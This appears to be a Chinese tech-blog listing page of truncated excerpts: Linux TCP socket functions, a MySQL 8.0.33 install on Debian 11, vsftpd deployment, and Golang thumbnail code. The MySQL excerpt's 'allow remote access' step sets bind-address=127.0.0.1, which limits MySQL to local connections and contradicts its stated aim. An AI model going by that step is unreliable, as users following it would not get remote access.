其他类型也有对应的转化关键字,用到哪种查哪种即可。

【高并发网络通信架构】1.Linux下实现单客户连接的tcp服务端

目录 一,函数清单 1.socket 方法 2.bind 方法 3.listen 方法 4.accept 方法(阻塞函数) 5.recv 方法(阻塞函数) 6.send 方法 7.close 方法 8.htonl 方法 9.htons 方法 10.fcntl 方法 二,代码实现 1.阻塞型服务端 TCP服务端程序的一般流程 TCP客户端程序的一般流程 完整代码 2.非阻塞型服务端 非阻塞型TCP服务端的一般流程 完整代码 一,函数清单 1.socket 方法 #include <sys/types.h> /* See NOTES */ #include <sys/socket.h> int socket(int domain, int type, int protocol); 功能 创建用于通信的套接字,并返回一个指向该套接字的文件描述符。 参数 domain:指定套接字的协议族。常见的值有AF_INET(IPv4)和AF_INET6(IPv6)。type:指定套接字的类型。常见的值有SOCK_STREAM(面向连接的可靠字节流)和SOCK_DGRAM(无连接的数据报文)。protocol:指定协议。通常使用0,表示默认选择。 返回值 如果成功,则返回新套接字的文件描述符。如果出现错误,则返回-1,并设置errno。 2.bind 方法 #include <sys/types.h> /* See NOTES */ #include <sys/socket.h> int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); 功能

Debian 11 x64 安装 MySQL 8.0.33

更新 sudo apt update sudo apt install gnupg 安装 DEB Package wget -c https://dev.mysql.com/get/mysql-apt-config_0.8.25-1_all.deb sudo dpkg -i mysql-apt-config_0.8.25-1_all.deb 具体版本见官方网站:MySQL Community Downloads,这里仅以版本 0.8.25-1 作为示例。 更新缓存 sudo apt update 安装 MySQL Server sudo apt-get install mysql-community-server 检查状态 systemctl status mysql.service 安全地配置 MySQL 服务 sudo mysql_secure_installation 查看运行状态和版本信息 sudo mysqladmin -u root -p version 允许远程访问 sudo nano /etc/mysql/mysql.conf.d/mysqld.cnf 在最后一行添加: bind-address=127.0.0.1 保存:Ctrl + O确认修改的文件名:Enter退出:Ctrl + X 开放端口: sudo ufw allow 3306/tcp 重启服务: systemctl restart mysql 添加远程访问用户 进入 MySQL 命令行:

Linux 部署ftp服务

文件传输协议(file Transfer Protocol,FTP),它工作在应用层,由客户端软件和服务端软件两个部分共同实现文件传输功能,使用 TCP 传输而不是 UDP, 客户在和服务器建立连接前要经过一个“三次握手”的过程, 保证客户与服务器之间的连接是可靠的, 而且是面向连接,为数据传输提供可靠保证。 ftp 主要使用20和21端口 20端口传输数据;21端口建立连接 主动模式: 服务器主动连接客户端传输 被动模式: 服务器等待客户端连接。 部署ftp服务器 1.查看是否安装过vsftp,没有就下载vsftp [root@ansible_nfs ~]# rpm -q vsftpd 未安装软件包 vsftpd [root@ansible_nfs ~]# yum install -y vsftpd 已加载插件:fastestmirror Loading mirror speeds from cached hostfile * base: mirrors.aliyun.com * epel: mirrors.cqu.edu.cn * extras: mirrors.huaweicloud.com * updates: mirrors.huaweicloud.com 正在解决依赖关系 --> 正在检查事务 ---> 软件包 vsftpd.x86_64.0.3.0.2-29.el7_9 将被 安装 --> 解决依赖关系完成 2.查看vsftp软件的详细信息 [root@ansible_nfs 7-3]# rpm -qi vsftpd Name : vsftpd Version : 3.

Golang实现图片与视频的缩略图生成

图片与视频的缩略图是一个十分常见的需求,比如即时消息。这里摘取了Golang项目中的相关代码,分享图片与视频相关处理的开发经验。 图片缩略图 缩略图的尺寸分为两种规则: 1)边长模式,生成正方形缩略图; 2)宽高模式,又分三种:指定宽高、指定宽(高等比缩放)、指定高(宽等比缩放)。 如果原图为png或gif,缩略图则采用png格式;否则,都采用jpeg格式。 func createPhotoThumbnail(src string, thumbnail string, side int, width int, height int) (err error) { // open image srcFile, err := os.Open(src) if err != nil { return fmt.Errorf("opening image failed") } defer srcFile.Close() img, format, err := image.Decode(srcFile) if err != nil { return fmt.Errorf("decode image failed %v", err) } // process image var thumbnailImg image.Image if side > 0 { // 指定边长 var canvas image.